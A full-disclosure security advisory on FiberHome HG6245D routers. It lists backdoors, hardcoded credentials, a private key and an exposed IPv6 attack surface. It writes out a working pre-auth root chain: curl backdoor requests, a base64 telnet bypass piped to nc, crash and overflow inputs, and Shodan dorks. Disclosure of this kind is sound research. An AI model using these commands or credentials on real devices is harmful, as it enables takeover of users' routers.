Hello,

Please find a text-only version below sent to security mailing lists.

The complete version on "Multiple vulnerabilities found in FiberHome
HG6245D routers"
is posted here:
  https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html


=== text-version of the advisory  ===

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: Multiple vulnerabilities found in FiberHome HG6245D routers
Advisory URL: https://pierrekim.github.io/advisories/2021-fiberhome-0x00-ont.txt
Blog URL: https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
Date published: 2021-01-12
Vendors contacted: None
Release mode: Full-Disclosure
CVE: None yet assigned



## Product Description

FiberHome Technologies is a leading equipment vendor and global
solution provider in the field of information technology and
telecommunications.

The FiberHome HG6245D routers are GPON FTTH routers. They are mainly
used in South America and
in Southeast Asia (from Shodan). These devices come with competitive
pricing but are very powerful, with a lot of memory and storage.

I validated the vulnerabilities against HG6245D, RP2602:

    Config# show version
    show version
    Hardware version : WKE2.094.277A01
    Software version : RP2602
    Minor version : 00.00
    Basic part version : RP2602
    Generate time : Apr  1 2019 19:38:05

Some vulnerabilities have been tested successfully against another
fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019). The
fiberhome devices have quite a similar codebase, so it is likely all
other fiberhome devices (AN5506-04-FA, AN5506-04-FAT, AN5506-04-F) are
also vulnerable.


On the first analysis, attack surface is not huge:
- - only HTTP/HTTPS is listening by default on the LAN
- - It is also possible to enable a CLI telnetd (not reachable by
default) on port 23/tcp by using hardcoded credentials on the web
admin interface (`https://target/fh`).

Futhermore, due to the lack of firewall for IPv6 connectivity, all the
internal services will be reachable over IPv6 (from the Internet).

It is in fact trivial to achieve pre-auth RCE as root against the
device, from the WAN (using IPv6) and from the LAN (IPv4 or IPv6).
This scenario involves reaching the webserver to:
1. enable a proprietary CLI telnetd (using backdoor credentials for
HTTP or using the backdoor `/telnet` HTTP API or using a stack
overflow in the HTTP server in previous fiberhome routers [and
skipping next steps])
2. enable the Linux telnetd using authentication bypass or with
backdoor credentials
3. use backdoor credentials to get a root shell on the Linux telnetd

Example of such scenario in 4 steps from a different network:

    $ curl -k https://target/info.asp # pre-auth infoleak, extract the
WAN MAC, very similar to the br0 MAC, used to enable the next
backdoor. On the same network segment, use `arp -na`
    $ curl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR'
   # backdoor access to authorize access to CLI telnet on port 23/tcp
    $ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc
target 23 >/dev/null & # auth bypass + start of Linux telnetd on port
26/tcp
    $ telnet target 26         # backdoor root access with root / GEPON
    (none) login: root
    Password: [GEPON]
    BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
    #id
    uid=0(root) gid=0 groups=0 # game over

Please note this research was done in the beginning of 2020 and a new
firmware image may be available and may patch some vulnerabilities
(even if I highly doubt it). This research was supposed to be
presented during a private security event last year which was
postponed due to the COVID-19 situation.

Full-disclosure is applied as it is believed that some backdoors have
been intentionally placed by the vendor.

Also, it is public knowledge from 2019 that Fiberhome devices have
weak passwords and RCE vulnerabilities. This quote is from 2019
(https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/):

> We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities.



## Vulnerabilities Summary

The summary of the vulnerabilities is:

1. Insecure IPv6 connectivity
2. HTTP Server - Passwords in HTTP logs
3. HTTP Server - Harcoded SSL certificates
4. HTTP server - Pre-auth InfoLeak
5. HTTP Server - Backdoor allowing telnet access
6. HTTP Server - Hardcoded credentials
7. HTTP Server - TR-069 hardcoded credentials
8. HTTP Server - Credentials decryption algorithm
9. Telnet server (Linux) - Hardcoded credentials
10. Telnet server (CLI) - Hardcoded credentials
11. Telnet server (CLI) - Privilege escalation
12. Telnet server (CLI) - Authentication bypass
13. Telnet server (CLI) - Authentication bypass to start the Linux telnetd
14. Telnet server (CLI) - DoS
15. System - Credentials stored in clear-text
16. System - Passwords stored in clear-text in nvram
17. Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)

I removed several DoS and strange technical details (linked to
undisclosed vulnerabilities) for clarity.



## Details - Insecure IPv6 connectivity

By default, there are no firewall rules for the IPv6 connectivity,
exposing the internal management interfaces from the Internet.

An attacker can get a full access to the management http server (using
hardcoded passwords) and the telnet services, by reaching the IPv6s
assigned to the wan0 and the br0 interfaces.


On the device:

    #ifconfig wan0
    wan0      Link encap:Ethernet  HWaddr [REMOVED]
              [...]
              inet6 addr: [REMOVED]/64 Scope:Global
              [...]
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

    #ifconfig br0
    br0       Link encap:Ethernet  HWaddr [REMOVED]
              inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
              inet6 addr: [REMOVED]/64 Scope:Global
              [...]
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1


`br0` is the internal network interface assigned to the LAN.
All the services are binding to both `br0` and `wan0`.

It is trivial to reach services from the WAN (Internet), by contacting
IPv6 used by `br0` or `wan0`:

- From the WAN:

    rasp-wan-olt% telnet [ipv6] 26
    Trying [ipv6]...
    Connected to [ipv6].
    Escape character is '^]'.

    (none) login:
    telnet> q
    Connection closed.

    rasp-wan-olt% telnet [ipv6] 80
    Trying [ipv6]...
    Connected to [ipv6].
    Escape character is '^]'.
    GET / HTTP/1.0

    HTTP/1.0 302 Redirect
    Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
    Date: Mon Jan  7 21:01:29 2020
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: text/html
    X-Frame-Options: SAMEORIGIN
    Location: https://

    <html><head></head><body>
                    This document has moved to a new <a
href="https://">location</a>.
                    Please update your documents to reflect the new location.
                    </body></html>

    Connection closed by foreign host.
    rasp-wan-olt%


By using `ip6tables` on the device, we can confirm the complete lack
of firewall rules for IPv6 connectivity:

    #ip6tables -nL
    Chain INPUT (policy ACCEPT)
    target     prot opt source               destination

    Chain FORWARD (policy ACCEPT)
    target     prot opt source               destination
    forward_ext_ip  all      ::/0                 ::/0
    forward_ext_url  all      ::/0                 ::/0
    forward_ext_mac  all      ::/0                 ::/0

    Chain OUTPUT (policy ACCEPT)
    target     prot opt source               destination

    Chain forward_ext_ds_ip (1 references)
    target     prot opt source               destination

    Chain forward_ext_ip (1 references)
    target     prot opt source               destination
    forward_ext_us_ip  all      ::/0                 ::/0
    forward_ext_ds_ip  all      ::/0                 ::/0

    Chain forward_ext_mac (1 references)
    target     prot opt source               destination

    Chain forward_ext_url (1 references)
    target     prot opt source               destination

    Chain forward_ext_us_ip (1 references)
    target     prot opt source               destination
    #


I highly recommend disabling IPv6 connectivity.



## Details - HTTP Server - Passwords in HTTP logs

It is possible to find passwords and authentication cookies stored in
clear-text in HTTP logs:

    #cat /fhconf/web_log/web.log
    web_utils>2020-01-07
19:16:26,../utils/cu_sessionManagement.c[465](findUser): no user named
admin !
    <web_custom>2020-01-07
19:16:27,../custom/weblogin.c[595](webLogin):
*************userGroupName = 1
    <web_init>2020-01-07
19:16:27,../utils/utils.c[1399](get_admin_default_info): enter
get_admin_default_info
    <web_custom>2020-01-07
19:16:27,../custom/weblogin.c[812](webLogin): Warning! Password error!
password = [REMOVED]
    <web_utils>2020-01-07
19:27:24,../utils/cu_sessionManagement.c[238](createSession): create
user [REMOVED]



## Details - HTTP Server - Harcoded SSL certificates

The web management is done over HTTPS, using a hardcoded private key
with 777 permissions:

    #ls -la /fhrom/bin/web/certSrv.pem /fhrom/bin/web/privkeySrv.pem
    -rwxrwxrwx    1 root     0              883 Apr  1  2019
/fhrom/bin/web/certSrv.pem
    -rwxrwxrwx    1 root     0              887 Apr  1  2019
/fhrom/bin/web/privkeySrv.pem
    #cat /fhrom/bin/web/privkeySrv.pem
    -----BEGIN RSA PRIVATE KEY-----
    MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
    yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
    JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
    AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
    NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd
    uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
    8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
    jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
    HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
    enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
    iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
    bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC
    RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw==
    -----END RSA PRIVATE KEY-----
    #cat /fhrom/bin/web/certSrv.pem
    -----BEGIN CERTIFICATE-----
    MIICXzCCAcgCCQCqr5AgCgFdqzANBgkqhkiG9w0BAQUFADB0MQswCQYDVQQGEwJD
    SDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDELMAkGA1UE
    CxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJQkVSSE9N
    RS5DT00uQ04wHhcNMTMwNDI0MDEyMTUwWhcNMjMwNDIyMDEyMTUwWjB0MQswCQYD
    VQQGEwJDSDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDEL
    MAkGA1UECxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJ
    QkVSSE9NRS5DT00uQ04wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJjbb43/
    kidSGai2BTyOH2dB3JOYpjAUkqm8x6T18krysKysQPvKX6a9Q+/fKovIyC+7UBwy
    ZgTKeClvD3iud3aT3XCJEZQZRKryZNE8XCemVM8jyEgmCUywpyyTNE/3nWPGyJJL
    V4yUtwR32IxRymNRuBbPEofR8WVEPl3yNg+3AgMBAAEwDQYJKoZIhvcNAQEFBQAD
    gYEACZJepEU36h3PMc0O15Bo7zkBWm2dD0RbTrJeZF561VcxlpuE2GDirNCXAbZz
    Ue/x+fDQBEM8kqpFYcVMPzZBUdFwu1QIY0DottXVcFFNoKS54GL9LEMaS6l6R/D5
    G8bCy/RF3kZwzE2cflZ7x78zdpQpzzDcOD415ek5zkadhu0=
    -----END CERTIFICATE-----
    #

Another hardcoded private key is also available (?!) in
`/fhrom/bin/web` and can be downloaded over HTTPS:

    #ls -la /fhrom/bin/web/privkeySrv.pem
    -rwxrwxrwx    1 root     0              887 Apr  1  2019
/fhrom/bin/web/privkeySrv.pem

    $ curl -k https://192.168.1.1/privkeySrv.pem
    -----BEGIN RSA PRIVATE KEY-----
    MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
    yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
    JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
    AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
    NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd
    uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
    8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
    jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
    HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
    enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
    iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
    bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC
    RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw==
    -----END RSA PRIVATE KEY-----



## Details - HTTP server - Pre-auth InfoLeak

It is possible to extract information from the device without
authentication by disabling Javascript and visiting `/info.asp`:

    $ curl -k https://192.168.1.1/info.asp
    [..]

    Software Version: [REMOVED]
    [...]
    ONU State: [REMOVED]
    Regist State: [REMOVED]
    LOID: [REMOVED] <----------- Secret used for FTTH connection
    [...]
    IP Address: [REMOVED]
    Subnet Mask: [REMOVED]
    IPv6 Address: [REMOVED]
    DHCP Clients List: [REMOVED]
    Wan IP: [REMOVED]
    WAN Mac: [REMOVED] <-------- Used for the telnet backdoor
    [...]

Also, it is very easy to guess the MAC address of the `br0` interface
based on the WAN MAC address (e.g.: `wan0`: `xx:xx:xx:xx:xx:x3`, `br0`
will be `xx:xx:xx:xx:xx:x0`).



## Details - HTTP Server - Backdoor allowing telnet access

In order to reach the telnetd CLI server, it is also possible to reach
a backdoor API without authentication provided by the HTTP server.
This will remove firewall rules and allow an attacker to reach the
telnet server (used for CLI).

This backdoor can be found inside the `webs` binary:

- From `sub_C46F8()` (called from main()):

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


The `backdoor_telnet()` function (named during reverse engineering,
the original name is unknown):

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


We can reverse the function `omci_set_telnet_uni_state()` from
`libgl3_advance.so`:
[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


On line 24, rules will be added depending of the value of the argument
of this function.


Finally, the `getOnuMac()` function will provide a custom valid entry
from the MAC address of the `br0` interface:

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


The backdoor is reachable by sending a HTTPS request:

- - https://[ip]/telnet?enable=0&key=calculated(BR0_MAC)

The 'secret' algorithm will extract the ending part of the mac address.

For the MAC: AA:AA:AA:01:02:03, an attacker can enable the backdoor by sending:

    $ curl -k 'https://[ip]/telnet?enable=1&key=010203'

Opening the access to the telnetd:

    $ curl -k 'https://192.168.1.1/telnet?enable=1&key=[REMOVED]'
    Open telnet success!
    $ telnet 192.168.1.1
    Trying 192.168.1.1...
    Connected to 192.168.1.1.
    Escape character is '^]'.

    ------acl IP:192.168.1.2 --------
    Login:
    telnet> q
    Connection closed.


Closing the access to the telnetd:

    $ curl -k 'https://192.168.1.1/telnet?enable=0&key=[REMOVED]'
    $ telnet 192.168.1.1 23
    Trying 192.168.1.1...
    telnet: connect to address 192.168.1.1: Connection refused
    telnet: Unable to connect to remote host


The IPv4 firewall rules before and after triggering the backdoor:

Access is being blocked:

    #iptables-save |grep telnet
    :input_ext_access_telnet_ani - [0:0]
    :input_ext_access_telnet_uni - [0:0]
    -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j
input_ext_access_telnet_uni
    -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j
input_ext_access_telnet_ani
    -A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
    -A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
    -A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT
--reject-with tcp-reset
    -A input_ext_access_telnet_uni -i br0 -p tcp -m tcp --dport 23 -j
REJECT --reject-with tcp-reset


Access is allowed:

    #iptables-save |grep telnet
    :input_ext_access_telnet_ani - [0:0]
    :input_ext_access_telnet_uni - [0:0]
    -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j
input_ext_access_telnet_uni
    -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j
input_ext_access_telnet_ani
    -A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
    -A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
    -A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT
--reject-with tcp-reset



## Details - HTTP Server - Hardcoded credentials

The web daemon contains a list of hardcoded credentials, for different ISPs:

- - user / user1234
- - f~i!b@e#r$h%o^m*esuperadmin / s(f)u_h+g|u
- - admin / lnadmin
- - admin / CUadmin
- - admin / admin
- - telecomadmin / nE7jA%5m
- - adminpldt / z6dUABtl270qRxt7a2uGTiw
- - gestiontelebucaramanga / t3l3buc4r4m4ng42013
- - rootmet / m3tr0r00t
- - awnfibre / fibre@dm!n
- - trueadmin / admintrue
- - admin / G0R2U1P2ag
- - admin / 3UJUh2VemEfUtesEchEC2d2e
- - admin / getOnuMac(s, 6, 32); <- last part of the MAC address of
the `br0` interface
- - admin / 888888
- - L1vt1m4eng / 888888
- - useradmin / 888888
- - user / 888888
- - admin / 1234
- - user / tattoo@home
- - admin / tele1234
- - admin / aisadmin


You can find the incomplete list below:

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


I really like `m3tr0r00t` :)

There are passwords everywhere in the `webs` binary (HTTP Server).

These credentials, used with `https://ip/fh` will allow to open the
access to the CLI telnet on port 23/tcp.



## Details - HTTP Server - TR-069 hardcoded credentials

We can find hardcoded credentials inside the `webs` binary for TR-069:

`telecomadmin`

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]



## Details - HTTP Server - Credentials decryption algorithm

By default, some credentials appear to be encrypted (in
`/fhconf/umconfig.txt` file).

It is possible to decrypt them using the encryption function found
inside the webs binary. This algorithm uses mainly xor with the
hardcoded key `*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g` so we can
encrypt passwords and decrypt "encrypted" passwords:

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


A re-implementation in C can be shown below:

    #include <stdio.h>
    #include <string.h>


    int       main(int    argc,
                   char   **argv,
                   char   **envp)
    {
      char key[45] = "*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g";

      char password[12] = "\x59\x42\x51\x48\x5d\x13\x4b\x52\x3d\x45\x4d\x00";
      //char password[12] = "s(f)u_h+g|u\x00";

      unsigned char encrypted_char;

      for (int i = 0; i < strlen(password); i++)
      {
        encrypted_char = password[i] ^ key[i % sizeof(key)];

        if (encrypted_char && !(encrypted_char & 0x2000))
          printf("%c", encrypted_char);
      }

      printf("\n");

      return (0);
    }


And it works:

    $ cc decrypt-passwords-umconfig.c -o decrypt-passwords-umconfig &&
./decrypt-passwords-umconfig | hexdump -C
    00000000  73 28 66 29 75 5f 68 2b  67 7c 75 0a              |s(f)u_h+g|u.|
    0000000c


Interesting fact: we previously found this hardcoded key in FTTH OLTs
from another FTTH vendor:
https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html#weak-encryption-algorithm

It appears this key and this algorithm come from GoAhead:

https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51



## Details - Telnet server (Linux) - Hardcoded credentials

A hardcoded password for root is being defined inside
`/etc/init.d/system-config.sh`:

    #cat /etc/init.d/system-config.sh
    #!/bin/sh

    case "$1" in
            start)
                    echo "Configuring system..."
                    # these are some miscellaneous stuff without a good home
                    mount -o remount,sync /fhconf
                    mkdir -p /dev/shm/fhdrv_kdrv_ver_tmp
/dev/shm/usr_tmp /fhconf/data
                    echo "root:W/xa5OyC3jjQU:0:0:root:/:bin/sh" > /etc/passwd
                    echo "nobody:x:99:99:Nobody:/:/bin/false" >> /etc/passwd
                    ifconfig lo 127.0.0.1 netmask 255.0.0.0 broadcast
127.255.255.255 up
                    echo > /var/udhcpd/udhcpd.leases
                    exit 0
                    ;;

    # cat /etc/passwd
    root:W/xa5OyC3jjQU:0:0:root:/:bin/sh
    nobody:x:99:99:Nobody:/:/bin/false


`W/xa5OyC3jjQU` is the DES encrypted data for `GEPON`.

This telnet server doesn't run by default but it is possible to start
it from the telnet CLI.



## Details - Telnet server (CLI) - Hardcoded credentials

telnet on port 23/tcp can be also abused with these credentials:

- - `gpon`/`gpon`
- - enable: `gpon`


    $ nc -v 192.168.1.1 23
    Connection to 192.168.1.1 23 port [tcp/telnet] succeeded!

    ------acl IP:192.168.1.2 --------
    Login: gpon
    gpon
    Password: gpon
    User> enable
    enable
    Password: gpon
    ****
    Config#


We can retrieve these backdoors by reversing the
`libci_adaptation_layer.so` library:

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


For specific ISPs, there are these valid credentials:
- - `admin` / 4 hexadecimal chars, generated in the
`init_3bb_password()` function located in `libci_adaptation_layer.so`
- - `rdsadmin` / `6GFJdY4aAuUKJjdtSn7d`


You can also test `gepon`/`gepon` (from the firmware extracted in the
other analyzed fiberhome device (AN5506-04-FA, firmware RP2631, 4
April 2019)).



## Details - Telnet server (CLI) - Privilege escalation

The CLI telnet server runs on port 23/tcp and can be reached by (i)
adding firewall rules from the HTTP server either using the backdoor
API, (ii) using backdoor credentials on the web interface or (iii)
exploiting a stack overflow in previous HTTP daemons.
It is also reachable by default over IPv6 on `br0` and `wan0` interface.

It is possible to start a Linux telnetd as root on port 26/tcp using
the CLI interface, as shown below:

    User> ddd
    WRI(DEBUG_H)> shell
    Please use port 26 to telnet
    WRI(DEBUG_H)> tshell
    Please use port 26 to telnet


`shell` and `tshell` will call the function `enter_telnet_shell()`
from `libcli_cli.so`, running `system("telnet -p 26")`.
This telneld will then use hardcoded credentials.

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]


Surprisingly, there is another function called `enter_tshell` (for a
legacy `tshell`) which will run a `system("sh")` as root.

This function `enter_tshell()` providing a rootshell is not being
called from `shell` so this looks like dead code:

[please use the HTML version at
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
to see the image]



## Details - Telnet server (CLI) - Authentication bypass

It is possible to bypass telnet authentication by sending a specific
string to the remote telnet server:

    $ echo 'GgpoZWxwCmxpc3QKd2hvCg==' | base64 -d > bypass-auth-telnet
    $ hexdump -C bypass-auth-telnet
    00000000  1a 0a 68 65 6c 70 0a 6c  69 73 74 0a 77 68 6f 0a
|..help.list.who.|
    00000010
    $ nc 192.168.1.1 23 < bypass-auth-telnet

    ------acl IP:192.168.1.2 --------
    Login:
    User>
    User> help

          This system provides help feature as described below.

          1. Anytime you need help, just press "?" and don't
      press Enter,you can see each possible command argument
      and its description.

          2. You can also input "list" and then press Enter
      to execute this helpful command to view the list of
      commands you can use.

    User> list
     0. clear
     1. enable
     2. exit
     3. help
     4. list
     5. ping {[-t]}*1 {[-count] <1-65535>}*1 {[-size] <1-6400>}*1
{[-waittime] <1-255>}*1 {[-ttl] <1-255>}*1 {[-pattern]
<user_pattern>}*1 {[-i] <A.B.C.C>}*1 <A.B.C.D>
     6. quit
     7. show history
     8. show idle-timeout
     9. show ip
    10. show services
    11. show syscontact
    12. show syslocation
    13. terminal length <0-512>
    14. who
    15. who am i
    User> who
    SessionID. - UserName ---------- LOCATION ---------- MODE ----
    7            not login           192.168.1.2         not login (That's me.)
    Total 1 sessions in current system.
    User>



## Details - Telnet server (CLI) - Authentication bypass to start the
Linux telnetd

It is possible to use the previous authentication bypass to start a
full telnetd server on port 26 and then get a root shell using the
password from "Telnet server (Linux) - Hardcoded credentials).

By sending `ddd` then `tshell`, a telnetd will be started on port 26/tcp:

    $ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 &
    ------acl IP:192.168.1.2 --------
    Login:
    User>
    User> help

          This system provides help feature as described below.

          1. Anytime you need help, just press "?" and don't
      press Enter,you can see each possible command argument
      and its description.

          2. You can also input "list" and then press Enter
      to execute this helpful command to view the list of
      commands you can use.

    User> list
     0. clear
     1. enable
     2. exit
     3. help



    $ telnet target 26
    Trying target...
    Connected to target.
    Escape character is '^]'.

    (none) login: root
    Password: [GEPON]


    BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.

    #id
    uid=0(root) gid=0 groups=0


The attacker will get a root shell.



## Details - Telnet server (CLI) - DoS

It is possible to crash the telnet daemon by sending a specific string:

    $ hexdump -C crash-auth-telnet
    00000000  1a 0a 65 6e 61 62 6c 65  0a 02 0a 1a 0a           |..enable.....|
    0000000d
    $ nc -v 192.168.1.1 23 < crash-auth-telnet
    192.168.1.1: inverse host lookup failed: Host name lookup failure
    (UNKNOWN) [192.168.1.1] 23 (telnet) open
    $ nc -v 192.168.1.1 23 < crash-auth-telnet
    192.168.1.1: inverse host lookup failed: Host name lookup failure
    (UNKNOWN) [192.168.1.1] 23 (telnet) : Connection refused

This segfault exists inside `/fh/extend/load_cli` but was not studied
as the previous bypass already worked.



## Details - System - Credentials stored in clear-text

Some credentials are stored in clear-text with permissive rights:

    #pwd
    /fhconf/fh_wifi
    #ls -la
    drwxr-xr-x    2 root     0              536 Jan  7  2020 .
    drwxr-xr-x   14 root     0            10264 Jan  8 15:29 ..
    -rw-r--r--    1 root     0              118 Jan  1  1970 wifi_custom.cfg
    -rw-r--r--    1 root     0             1212 Jan  7  2020 wifictl_2g.cfg
    -rw-r--r--    1 root     0             1178 Jan  7  2020 wifictl_2g.cfg.bak
    -rw-r--r--    1 root     0             1213 Jan  7  2020 wifictl_5g.cfg
    -rw-r--r--    1 root     0             1208 Jan  7  2020 wifictl_5g.cfg.bak

    #cat /fhconf/fh_wifi/wifi_custom.cfg
    ssid_2g=[REMOVED]
    ssid_5g=[REMOVED]
    country=BR
    auth=WPAPSKWPA2PSK
    encrypt=tkipaes
    psk=[REMOVED]
    #

    #cat wifictl_2g.cfg
    [...]
    WPAPSK=[REMOVED]
    [...]
    WEPKey1=[REMOVED]
    [...]
    WEPKey2=[REMOVED]
    [...]
    WEPKey3=[REMOVED]
    [...]
    WEPKey4=[REMOVED]
    [...]
    RadiusKey=[REMOVED]

    #cat wifictl_5g.cfg
    SSID=[REMOVED]
    [...]
    WPAPSK=[REMOVED]
    [...]
    WEPKey1=[REMOVED]
    [...]
    WEPKey2=[REMOVED]
    [...]
    WEPKey3=[REMOVED]
    [...]
    WEPKey4=[REMOVED]
    [...]
    RadiusKey=[REMOVED]



## Details - Misc - Passwords stored in clear-text in nvram

Some passwords are stored in clear-text in nvram:

    #nvram show
    wl0.1_key=1
    wl0.1_key1=[REMOVED]
    wl0.1_key2=[REMOVED]
    wl0.1_key3=[REMOVED]
    wl0.1_key4=[REMOVED]
    [...]
    wl0.1_ssid=[REMOVED]
    [...]
    wl0.1_wpa_psk=[REMOVED]
    [...]
    wl0_key1=[REMOVED]
    wl0_key2=[REMOVED]
    wl0_key3=[REMOVED]
    wl0_key4=[REMOVED]
    [...]
    wl0_ssid=[REMOVED]
    [...]
    wl0_wpa_psk=[REMOVED]
    [...]
    [ passwords everywhere removed because of space ]
    [...]



## Details - Misc - Remote stack overflow in the HTTP server
(AN5506-04-FA / RP2631)

I got another Fiberhome device with a different firmware version
(AN5506-04-FA, firmware RP2631, 4 April 2019). The HG6245D and the
AN5506-04-FA devices share a very similar code base.

The firmware on the AN5506-04-FA device is vulnerable to a remote
stack overflow in the `webs` process by sending a Cookie value with a
length > 511 bytes to any valid asp webpage. This can be triggered
using a simple wget command:

    $ wget --no-check-certificate -O- --header 'Cookie:
loginName=AAAA[511bytes]AAAA' https://192.168.1.1/tr069/tr069.asp


In the HG6245D firmware version RP2602, this vulnerability has been
patched by checking the size of values in the cookies, so I was not
able to exploit it. You can also read the log file to confirm the
length is now checked:


    <web_ga>2020-01-08
21:23:12,../thd_ga2_5/webs.c[1375](websParseRequest): Request header
param value is too long! key: cookie

It appears it has been patched in the HG6245D router, firmware RP2602.
Firmware RP2631 (4 April 2019) for router AN5506-04-FA remains
vulnerable.
I found no CVE or public research about this vulnerability so it may
have been silently patched by the vendor for the HG6245D router.



## Dorks

"acl IP:"
"GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN"



## Vendor Response

Full-disclosure is applied as it is believed that some backdoors have
been intentionally placed by the vendor.



## Report Timeline

* Jan 7, 2020: Majority of vulnerabilities found.
* Jan 8, 2020: This advisory was written.
* Aug 2020: Found the lack of IPv6 firewall.
